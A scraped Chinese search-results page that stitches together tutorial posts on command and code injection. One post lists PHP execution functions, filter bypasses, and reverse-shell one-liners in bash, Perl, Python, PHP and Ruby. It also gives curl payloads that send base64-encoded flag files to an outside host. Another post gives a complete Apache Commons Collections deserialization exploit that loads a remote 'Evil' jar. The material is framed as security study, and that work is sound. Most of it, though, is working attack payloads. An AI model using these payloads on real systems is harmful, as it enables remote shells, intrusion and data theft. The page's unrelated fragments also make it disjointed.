精华内容
下载资源
问答
  • 2021-09-14 11:14:24

    代码执行与命令执行的区别

    代码执行本质上是调用后端语言(PHP,JAVA……)来执行特定代码,而命令执行本质是调用系统的命令执行的接口,与对于的不同的语言无关,只与系统的版本有关。

    代码执行相关函数

    命令执行相关函数

    更多相关内容
  • 本篇总结归纳命令执行漏洞(RCE)和代码执行漏洞

    前言

    本篇总结归纳命令执行(RCE)漏洞和代码执行漏洞

    二者区别如下

    • 代码执行实际上是调用服务器网站代码进行执行
    • 命令注入则是调用操作系统命令进行执行

    一、命令执行漏洞

    1、什么是命令执行

    命令执行(Remote Command Execution, RCE)
    Web应用的脚本代码在执行命令的时候过滤不严
    从而注入一段攻击者能够控制的代码
    在服务器上以Web服务的后台权限远程执行恶意指令

    成因

    • 代码层过滤不严
    • 系统的漏洞造成命令注入
    • 调用的第三方组件存在代码执行漏洞

    常见的命令执行函数

    • PHP:exec、shell_exec、system、passthru、popen、proc_open等
    • ASP.NET:System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
    • Java:java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等

    2、常用命令执行函数

    (1)system

    该函数会把执行结果输出
    并把输出结果的最后一行作为字符串返回
    如果执行失败则返回false
    这个也最为常用

    <?php
    highlight_file(__FILE__);
    system('pwd');
    system('whoami');
    ?>
    

    (2)exec

    不输出结果
    返回执行结果的最后一行
    可以使用output进行输出

    <?php
    highlight_file(__FILE__);
    exec('pwd',$b);
    var_dump($b);
    ?>
    

    (3)passthru

    此函数只调用命令
    并把运行结果原样地直接输出
    没有返回值。

    <?php
    highlight_file(__FILE__);
    passthru('ls');
    ?>
    

    (4)shell_exec

    不输出结果,返回执行结果
    使用反引号(``)时调用的就是此函数

    <?php
    highlight_file(__FILE__);
    var_dump(shell_exec('ls'));
    ?>
    

    (5)ob_start

    此函数将打开输出缓冲
    当输出缓冲激活后,脚本将不会输出内容(除http标头外)
    相反需要输出的内容被存储在内部缓冲区中。

    内部缓冲区的内容可以用 ob_get_contents() 函数复制到一个字符串变量中
    想要输出存储在内部缓冲区中的内容,可以使用 ob_end_flush() 函数
    另外, 使用 ob_end_clean() 函数会静默丢弃掉缓冲区的内容

    <?php
        ob_start("system");
        echo "whoami";
        ob_end_flush();
    ?>
    

    3、命令连接符

    Windows和Linux都支持的命令连接符:

    • cmd1 | cmd2 只执行cmd2
    • cmd1 || cmd2 只有当cmd1执行失败后,cmd2才被执行
    • cmd1 & cmd2 先执行cmd1,不管是否成功,都会执行cmd2
    • cmd1 && cmd2 先执行cmd1,cmd1执行成功后才执行cmd2,否则不执行cmd2

    Linux还支持分号;

    • cmd1 ; cmd2 按顺序依次执行,先执行cmd1再执行cmd2

    二、代码执行漏洞

    1、什么是代码执行

    代码执行漏洞
    由于服务器对危险函数过滤不严
    导致用户输入的一些字符串可以被转换成代码来执行
    从而造成代码执行漏洞

    成因

    • 用户能够控制函数输入
    • 存在可执行代码的危险函数

    常见代码执行函数

    • PHP: eval、assert、preg_replace()、+/e模式(PHP版本<5.5.0)
    • Javascript: eval
    • Vbscript:Execute、Eval
    • Python: exec

    2、常用代码执行函数

    (1)${}执行代码

    中间的php代码将会被解析

    <?php
    ${phpinfo()};
    ?>
    

    (2)eval

    将字符串当做函数进行执行
    需要传入一个完整的语句
    必须以分号 ; 结尾
    最常用的函数

    
    <?php
    eval('echo "hello";');
    ?>
    

    (3)assert

    判断是否为字符串
    是则当成代码执行
    在php7.0.29之后的版本不支持动态调用

    低版本
    <?php 
    assert($_POST['a']);
    ?>
    
    7.0.29之后
    <?php
    $a = 'assert';
    $a(phpinfo());
    ?>
    

    (4)preg_replace

    用来执行一个正则表达式的搜索和替换
    执行代码需要使用/e修饰符
    前提是不超过php7

    mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
    
    • $pattern: 正则表达式匹配的内容

    • $replacement: 用于替换的字符串或字符串数组。

    • $subject: 要搜索替换的目标字符串或字符串数组。

    <?php
    preg_replace("/pat/e", $_GET['reg'], 'my pat');
    ?>
    

    在这里插入图片描述

    (5)create_function

    用来创建匿名函数

    create_function(string $args,string $code)
    
    • args是要创建的函数的参数
    • code是函数内的代码

    一个demo

    <?php
    error_reporting(0);
    $sort_by = $_GET['sort_by'];
    $sorter = 'strnatcasecmp';
    $databases=array('1234','4321');
    $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
    usort($databases, create_function('$a, $b', $sort_function));
    ?>
    

    payload

    ?sort_by="]);}phpinfo();/*
    

    (6)array_map

    为数组的每个元素应用回调函数

    <?php
    highlight_file(__FILE__);
    $a = $_GET['a'];
    $b = $_GET['b'];
    $array[0] = $b;
    $c = array_map($a,$array);
    ?>
    

    payload

    ?a=assert&b=phpinfo();
    

    (7)call_user_func

    回调函数,可以使用is_callable查看是否可以进行调用

    mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
    

    第一个参数 callback 是被调用的回调函数
    其余参数是回调函数的参数

    <?php
    highlight_file(__FILE__);
    $a = 'system';
    $b = 'pwd';
    call_user_func($a,$b);
    call_user_func('eval','phpinfo()');
    ?>
    

    (8)call_user_func_array

    回调函数,参数为数组

    mixed call_user_func_array ( callable $callback , array $param_arr )
    

    第一个参数作为回调函数(callback)调用
    把参数数组作(param_arr)为回调函数的的参数传入

    <?php
    highlight_file(__FILE__);
    $array[0] = $_POST['a'];
    call_user_func_array("assert",$array); 
    ?>
    

    (9)array_filter

    array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
    

    依次将 array 数组中的每个值传递到 callback 函数
    如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中
    数组的键名保留不变。

    <?php
    highlight_file(__FILE__);
    $array[0] = $_GET['a'];
    array_filter($array,'assert');
    ?>
    

    (10)usort

    使用自定义函数对数组进行排序

    bool usort ( array &$array , callable $value_compare_func )
    

    本函数将用用户自定义的比较函数对一个数组中的值进行排序
    如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数

    <?php
    highlight_file(__FILE__);
    usort(...$_GET);			php5.6以上的写法
    #usort($_GET[1],'assert');	php5.6可用
    ?>
    

    payload

    1[]=phpinfo()&1[]=123&2[]=assert
    

    三、绕过姿势

    在这里插入图片描述

    1、常见分隔符

    • 换行符 %0a
    • 回车符 %0d
    • 连续指令
    • 后台进程 &
    • 管道符 |
    • 逻辑 ||&&

    2、空格

    可以用以下字符代替空格

    <
    ${IFS}
    $IFS$9
    %09
    
    • $IFS在linux下表示分隔符
    • 加一个{}固定了变量名
    • 同理在后面加个$可以起到截断的作用
    • $9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串

    3、命令终止符

    %00
    %20
    

    4、敏感字符绕过

    (1)变量绕过

    a=l,b=s;$a$b
    

    (2)base64编码绕过

    echo 'cat' | base64
    `echo 'Y2F0Cg==' | base64 -d` test.txt
    

    (3)未定义的初始化变量

    cat$b /etc/passwd
    

    (4)连接符

    cat /etc/pass'w'd
    

    (5)通配符

    Bash标准通配符(也称为通配符模式)被各种命令行程序用于处理多个文件
    可以通过man 7 glob 查看通配符帮助或者直接访问linux官网查询文档

    可参考

    例子
    ls命令我们可以通过以下语法代替执行

    /???/?s --help
    

    四、反向连接(Reverse Shell)的各类技术方法

    - ; rm/tmp/f; mkfifo/tmp/f; cat /tmp/f|/bin/sh-i2>&1|nc 192.168.80.30 443 >/tmp/f
    - ; perl-e 'use Socket;$i="192.168.80.30";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'
    - ; python-c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.80.30",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    - ; php-r '$sock=fsockopen("192.168.80.30",443);exec("/bin/sh-i<&3 >&3 2>&3");’
    - ; ruby-rsocket-e'f=TCPSocket.open("192.168.80.30",443).to_i;execsprintf("/bin/sh-i<&%d >&%d 2>&%d",f,f,f)'
    

    五、一些场景应用

    1、无任何过滤或简单过滤

    ▪http://192.168.80.30/low.php?name=;cat flag.php
    ▪http://192.168.80.30/low.php?name=%26cat flag.php
    ▪http://192.168.80.30/low.php?name=|cat flag.php
    ▪http://192.168.80.30/low.php?name=`cat flag.php`
    

    2、过滤了;,|,&,`

    ▪http://192.168.80.30/medium.php?name=%0acat flag.php
    ▪http://192.168.80.30/medium.php?name=$(cat flag.php)
    

    3、过滤了;,|,&,`,\s

    ▪http://192.168.80.30/high.php?name=$(cat<flag.php)
    ▪http://192.168.80.30/high.php?name=$(cat$IFS./flag.php)
    

    4、过滤了关键词,比如cat

    ▪http://192.168.80.30/low.php?name=;c''at flag.php
    ▪http://192.168.80.30/low.php?name=;c\at flag.php
    ▪http://192.168.80.30/low.php?name=;c$@at flag.php
    ▪http://192.168.80.30/high.php?name=$(c\at<flag.php)
    ▪http://192.168.80.30/high.php?name=$(tac<flag.php)
    ▪http://192.168.80.30/high.php?name=$(more<flag.php)
    ▪http://192.168.80.30/high.php?name=$(tail<flag.php)
    

    5、页面无命令结果的回显

    ▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`ls|base64`
    ▪http://192.168.80.30/noecho.php?name=;curl 192.168.9.111:1234?hh=`cat flag.php|base64`
    ▪http://192.168.80.30/noecho.php?name=%0acurl 192.168.9.111:1234?hh=`cat flag.php|base64`
    ▪http://192.168.80.30/noecho.php?name=%3Bbash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.9.111%2f1234%200%3E%261%22%20
    ▪http://192.168.80.30/noecho.php?name=;python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.9.111",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    六、防范措施

    • 尽量不要使用系统执行命令
    • 在进入执行命令函数/方法前,变量要做好过滤,对敏感字符转义
    • 在使用动态函数前,确保使用的函数是指定的函数之一
    • 对PHP语言,不能完全控制的危险函数就不要用

    结语

    对命令执行漏洞和代码执行漏洞做了个归纳

    展开全文
  • 代码审计】命令注入和代码注入

    千次阅读 2021-11-21 16:20:15
    命令可控时,就可能会导致命令注入,例如以下代码: String cmd = request.getParameter("cmd"); Runtime.getRuntime().exec(cmd); 这种漏洞原理很简单,主要就是找到执行系统命令的函数,看命令是否可控。 java ...

    0x01 命令注入

    在开发过程中,开发人员可能需要对系统文件进行移动、删除或者执行一些系统命令,这时如果执行的命令用户可控,就会导致命令执行漏洞。

    1、示例

    当命令可控时,就可能会导致命令注入,例如以下代码:

    String cmd = request.getParameter("cmd");
    Runtime.getRuntime().exec(cmd);
    

    这种漏洞原理很简单,主要就是找到执行系统命令的函数,看命令是否可控。

    java 程序中执行系统命令的函数如下:

    Runtime.exec
    Process
    ProcessBuilder.start
    GroovyShell.evaluate
    ...
    

    2、命令注入的限制

    对于系统命令,可以使用连接符来执行多条语句,常见连接符及含义如下:

    ;    多个命令顺序执行,命令之间无任何逻辑关系
    |    前面命令输出结果作为后面命令的输入内容
    ||   逻辑或,当前面命令执行失败后,后面命令才会执行,否则后面命令不执行
    &    前面命令执行后继续执行后面命令
    &&   逻辑与,当前面命令执行成功后,后面命令才会执行,否则后面命令不执行
    

    对于 Java 环境中的命令注入,连接符的使用存在一些限制,例如以下代码:

    Runtime.getRuntime().exec("ping " + url);
    

    这里因为 URL 可控,因此当我们输入 127.0.0.1&ipconfig 时,拼接出来的系统命令就是 ping 127.0.0.1&ipconfig,该命令在系统终端下是能正常运行的,但是在 Java 环境下就会运行失败,这里因为 Java 在程序处理的过程中,会将 127.0.0.1&ipconfig 当做一个完整的字符串而非两条命令,因此上面的代码不存在命令注入。

    0x02 代码注入

    1、介绍

    代码注入因为是直接注入一段代码,因此要比命令注入更加灵活,危害性也更大。

    这里以 Apache Commons collections 组件为例。

    Apache Commons collections 组件 3.1 版本有一段利用反射来完成特定功能的代码,控制相关参数后,就可以进行代码注入。

    这里攻击者可以利用反序列化的方式控制相关参数,完成注入代码,达到执行任意代码的效果。

    与命令注入相比,代码注入更具有灵活性,例如在 Apache Commons collections 反序列化漏洞中直接使用 Runtime.getRuntime().exec() 执行系统命令是无回显的,但如果通过 URLLoader 远程加载类文件以及异常处理机制就可以构造出回显的利用方式。

    这里就以 Apache Commons collections 反序列化漏洞为例,体验一下代码注入,因为现阶段个人水平有限,这里还不能对 Apache Commons collections 反序列化漏洞的原理进行深入分析,等后面学习到相关内容的时候不出意外应该还会碰到这个漏洞,那个时候再好好分析分析这个漏洞。

    2、Apache Commons collections 反序列化漏洞复现

    环境搭建

    该漏洞影响了 3.1 及以下的版本,这里以 3.1 版本为例,首先下载 commons-collections-3.1.zip 文件,下载地址:https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip

    解压 commons-collections-3.1.zip 可以得到 commons-collections-3.1.jar 文件,接下来打开 intelliJ IDEA,创建一个普通的 Java 项目,然后选择「文件 --> 项目结构 --> 库 --> + --> Java」,添加 commons-collections-3.1.jar 包,我使用的 jdk 版本为 1.8.0_191

    接下来在「src --> com --> commons」目录下创建 ApacheCommonsCollectionsDemo.java 文件(右击 com.commons 软件包选择:新建 --> Java 类文件)

    无回显利用

    在 ApacheCommonsCollectionsDemo.java 文件下写入以下代码

    package com.commons;
    
    import java.util.HashMap;
    import java.util.Map;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    import org.apache.commons.collections.map.TransformedMap;
    
    public class ApacheCommonsCollectionsDemo {
        public static void main(String[] args) {
    
            //((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
            //构造恶意的chain
            Transformer[] transformers = new Transformer[] {
                    //通过内置的ConstantTransformer来获取Runtime类
                    new ConstantTransformer(Runtime.class),
                    //通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
                    new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
            };
    
            Transformer transformChain = new ChainedTransformer(transformers);
    
            //普通的Map
            Map mp=new HashMap();
            mp.put("sw", "demo");
    
            // 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
            Map transformMap = TransformedMap.decorate(mp, transformChain, transformChain);
    
            // 修改TransformedMap中的一个值,成功执行命令
            Map.Entry entry=(Map.Entry) transformMap.entrySet().iterator().next();
            entry.setValue("test");
        }
    }
    

    注意第 25 行我执行的命令是 open -a Calculator,这里是 Mac 下打开计算机的命令,如果在 Windows 下则需要修改成对应命令。

    运行一下代码,可以看到成功弹出计算器

    这里只是实现了无回显的利用方式,接下来就利用代码注入实现有回显的利用。

    有回显利用

    这里有回显利用的方式是使用 java.net.URLClassLoader 远程加载自定义恶意类,也就是自己放在服务器上的 jar 包,然后在抛出的异常信息中获得回显结果。

    因此这里首先需要先写一个恶意类,具体如下:

    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    
    public class Evil {
        public static void Exec(String args) throws Exception {
            Process proc = Runtime.getRuntime().exec(args);
            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            String result = sb.toString();
            Exception e = new Exception(result);
            throw e;
        }
    }
    

    将恶意类打包成 jar 文件,并放到服务器上,这里因为是本地演示,就直接在本地开个 Python HTTP 服务了。

    javac Evil.java
    jar -cvf Evil.jar Evil.class
    python3 -m http.server 80
    

    然后回到 intelliJ IDEA,在 com.commons 软件包中新建 ApacheCommonsCollectionsDemo2.java 文件,在文件中写入以下内容

    package com.commons;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.util.HashMap;
    import java.util.Map;
    
    public class ApacheCommonsCollectionsDemo2 {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[0];
            try {
                transformers = new Transformer[]{
                        new ConstantTransformer(java.net.URLClassLoader.class),
                        new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{java.net.URL[].class}}),
                        new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new java.net.URL[]{new java.net.URL("http://127.0.0.1/Evil.jar")}}}),
                        new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Evil"}),
                        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"Exec", new Class[]{String.class}}),
                        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{"uname"}})
                };
            } catch (MalformedURLException e) {
                e.printStackTrace();
            }
    
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
            BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
    
            Field valfield = poc.getClass().getDeclaredField("val");
            valfield.setAccessible(true);
            valfield.set(poc, entry);
    
            File f = new File("payload.ser");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(poc);
            out.close();
    
            FileInputStream fis = new FileInputStream("payload.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
            ois.close();
        }
    }
    

    这里执行的命令是 uname,运行代码可以看到报错信息里显示了 Darwin,说明命令被成功执行了。

    这样就利用代码注入实现了 Apache Commons collections 反序列化漏洞有回显的利用。

    参考链接:

    https://www.freebuf.com/vuls/251664.html

    https://www.anquanke.com/post/id/224487

    https://blog.csdn.net/Candyys/article/details/106006282

    https://blog.csdn.net/java276582434/article/details/90550578

    原文链接:

    https://www.teamssix.com/211121-153433.html

    更多信息欢迎关注我的个人微信公众号:TeamsSix

    展开全文
  • 命令注入 当应用程序需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数,如php中的system, exec, shell_exec等,当用户可以控制名利执行函数中的参数是,将可注入系统名利到正常名利中,造成...
    1. 命令注入
      当应用程序需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数,如php中的system, exec, shell_exec, passthru()等,当用户可以控制名利执行函数中的参数是,将可注入系统名利到正常名利中,造成命令注入攻击,如system(args), args= ‘cat /etc/passwd’;
    2. 代码注入
      应用程序在刁永杰一些能够将字符串转为代码的函数(如php中的eval, create_function(), call_user_func(),call_user_func_array())时, 没有考虑用户是否可以控制这个字符串,将造成代码执行漏洞,如(eval(“args”)); args=‘system(‘cat /etc/passwd’)’, 获取http://ip/?func=phpinfo();

    总结: 代码注入一般包含带有执行系统命令的函数或者引发漏洞的函数不同。

    展开全文
  • 命令执行和代码执行

    千次阅读 2021-03-26 21:20:00
    命令执行 简介 命令执行通常因为指web应用在服务器上拼接系统命令而造成的漏洞。 命令执行直接调用操作系统命令。在操作系统中,“&、|、I"都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端...
  • 远程命令执行远程代码执行

    千次阅读 2021-05-22 14:23:06
    一、远程命令执行远程代码是怎样形成的? RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 远程系统命令执行 一般出现这种漏洞,...
  • Git命令提交代码步骤

    2022-04-19 13:20:08
    3.添加所有文件到缓冲区(从目前掌握的水平看,后面加“.”的区别在于,加all可以添加被手动删除的文件,而加“.”不行): git add . git add --all 4.提交:提交缓冲区的所有修改到仓库(注意:如果修改了文件...
  • 目录前言git命令上传项目一、核心操作二、解决冲突三、情景举例四、查看ssh密钥五、克隆远程项目六、回退某个操作七、远程分支建立关联八、删除文件九、远程仓储十、多人协作十一、分支策略十二、其他Android ...
  • 代码急转弯——命令与脚本有差别吗1、如何执行语句?2、脚本3、命令4、交互窗口又如何? 1、如何执行语句? 在集成环境中,可以直接在命令窗口中执行语句。输入一个语句,按下回车键后,系统执行这个语句,像是在...
  • 代码执行与命令执行

    千次阅读 2019-09-27 16:01:00
    代码执行与命令注入0x01 代码执行1.eval2.assert3.call_user_func4.call_user_fuc_arr...
  • 代码执行(Executable Code) 是指将目标代码连接后形成的代码,简单来说是机器能够直接执行的代码,可执行代码当然也是二进制的。源代码(也称源程序)是指未编译的按照一定的程序设计语言规范书写的文本文件,是一...
  • web命令代码执行漏洞

    千次阅读 2021-12-15 14:01:40
    漏洞产生条件 在web应用程序中时候开发为了考虑灵活性,简洁性会在代码调用代码或者命令 执行函数去处理,比如当应用在调用一些能将字符串转化为代码的 函数时,没有考虑用户是否能控制字符串,将造成代码执行漏洞...
  • 中文 | English ...在Android 5.0及以上使用以下命令显示隐藏(不需要root,但是需要系统权限): adb shell pm hide adb shell pm unhide 区别: hide命令相当于uninstall -k卸载应用但是保留数据 实际上,h
  • 远程命令/代码执行漏洞(RCE)总结

    千次阅读 多人点赞 2020-04-17 21:59:03
    文章目录介绍PHP命令执行函数代码执行函数命令拼接符命令执行的一些绕过技巧绕过str_replace()函数空格被过滤的绕过用编码来绕过URL编码绕过Base64编码绕过Hex编码绕过Oct编码绕过:偶读拼接绕过(黑名单绕过)花...
  • git拉取远程仓库命令代码

    千次阅读 2021-07-21 17:57:53
    一 、使用git从远程仓库下载代码至本地 在本地新建一个文件夹 打开文件夹,从该文件夹进入git命令行页面。使用git bash here命令。如下: 进入命令行后,先初始化基础信息设置: git config --global user....
  • 今天小编就为大家分享一篇关于易语言用代码体现如果、如果真判断的区别,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
  • 文章目录Git 代码撤销、回滚到任意版本(当误提代码到本地或master分支时)git回滚命令reset、revert的区别背景知识方法一:git reset(回退)方法二:git revert(反做) Git 代码撤销、回滚到任意版本(当误提代码到...
  • 新唐NUC977开发板uboot代码解析3-SD卡初始化及mmc相关命令
  • 命令执行漏洞是用户通过浏览器在远程服务器上执行任意系统命令,与代码执行漏洞没有太大的区别,不过我们在学习时还是要区分不同的概念。关于代码执行漏洞会在下篇博客中详述。 一、什么命令执行漏洞: 应用有时...
  • RCE代码命令执行漏洞

    千次阅读 2022-02-13 17:58:29
      在 Web 应用中时候程序员为了考虑灵活性、简洁性,会在代码调用 代码命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样...
  • centosubuntu命令区别总结列表

    千次阅读 2020-05-24 18:36:26
    CentOS(Community ENTerprise Operating System)是Linux发行版之一,它是来自于Red Hat Enterprise Linux依照开放源代码规定释出的源代码所编译而成。由于出自同样的源代码,因此有些要求高度稳定性的服务器以...
  • 什么是脚本,脚本与代码区别

    千次阅读 多人点赞 2021-01-27 15:43:35
    脚本 规范来说,脚本(Script),是使用一种特定的描述性语言,依据一定的格式编写的可执行文件。 正常来说,脚本是使用一种特定的描述性语言,依据一定的格式编写的可执行文件,又称作宏或...脚本命令寄主按照脚本的
  • Web学习进行时,最近又学习了命令执行和代码执行漏洞。于是记录了学习过程。 命令执行与代码执行基础 简介 命令执行漏洞概念: 命令执行漏洞,就是指用户通过浏览器或其他辅助程序提交执行命令,由于服务器端没有...
  • eval()函数system()函数的区别(代码执行和命令执行)
  • 一图看懂centosubuntu命令区别

    万次阅读 多人点赞 2019-12-04 19:08:48
    centos(community ENTerprise Operating System)是linux发型版本之一,它是来自于Red Hat Enterprise Linux依照开放源代码规定释出的源代码所编译而成。由于出自同样的源代码,因此有些要求高度稳定性的服务器以...
  • 参考: https://blog.csdn.net/weixin_43376075/article/details/105189017 ... ... 代码执行函数: 1- eval() ...#传入的参数必须为PHP代码,既需要以分号结尾。...#命令執行:cmd=system(whoami); #菜.
  • 在同一个应用(代码)的情况下 1、产品发来一个新的需求,波波同学创建了一个分支A并进行功能开发。 2、系统出现一个 bug,波波同学需要停下开发工作,优先修复bug,于是他想创建一个新的分支B。 3、由于在分支A上...
  • 用实验案例的方式讲解远程命令执行系统命令执行两大漏洞利用方法。通过实践更深入地了解命令执行漏洞的成因危害,更好地掌握web安全相关方面的知识。
  • 当关系模型最初被引入时,就包含了查询数据的不同方法:SQL 是一种声明式查询语言,而 IMS CODASYL 则是命令式。这种差别意味着什么呢? 命令代码 vs 声明式代码 例如,我有一个动物物种的列表,想要查询列表中...
  • 两区制空间杜宾模型matlab代码demo,方便操作,两区制空间杜宾模型matlab代码demo,方便操作,两区制空间杜宾模型matlab代码demo,方便操作,

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 548,392
精华内容 219,356
关键字:

命令和代码有什么区别